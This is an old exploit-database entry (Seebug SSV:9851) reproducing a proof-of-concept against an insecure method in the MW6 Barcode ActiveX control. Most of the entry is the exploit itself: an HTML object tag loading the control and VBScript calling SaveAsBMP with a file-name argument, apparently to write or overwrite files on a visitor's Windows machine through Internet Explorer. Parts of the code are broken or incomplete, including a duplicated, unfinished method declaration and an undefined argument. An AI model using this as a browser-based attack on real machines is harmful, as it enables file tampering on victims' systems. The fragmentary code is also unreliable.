MW6 Barcode ActiveX (Barcode.dll) Insecure Method Exploit

ID SSV:9851
Type seebug
Reporter Root
Modified 2008-10-31T00:00:00


No description provided by source.

By Dr.Pantagon
Description : 1D Barcode ActiveX
ver :
CopyRight : MW6 Technologies, Inc. 
Download Link :

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
 	ByVal FileName  As String 


Sub SaveAsWMF (
 	ByVal FileName  As String 
you can see this problem to all product this company
<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' >
	<param name="BackColor" value="16777215">
	<param name="BarHeight" value="1,5">
	<param name="BarColor" value="0">
	<param name="BorderStyle" value="0">
	<param name="CheckDigit" value="0">
	<param name="CheckDigitToText" value="0">
	<param name="CodaBarStartChar" value="65">
	<param name="CodaBarStopChar" value="66">
	<param name="Data" value="1234">
	<param name="NarrowBarWidth" value="0,07">
	<param name="Orientation" value="0">
	<param name="ShowText" value="1">
	<param name="Supplement" value="">
	<param name="SupplementGap" value="0,5">
	<param name="SupplementType" value="0">
	<param name="SymbologyType" value="2">
	<param name="UPCESystem" value="0">
	<param name="Wide2NarrowRatio" value="2">
	<param name="FontName" value="Arial">
	<param name="FontItalic" value="0">
	<param name="FontStrikeOut" value="0">
	<param name="FontUnderline" value="0">
	<param name="FontWeight" value="400">
	<param name="FontHeight" value="24">
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\Barcode.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "BARCODELib.MW6Barcode"
argCount   = 1

target.SaveAsBMP arg1 

'target.SaveAsWMF arg1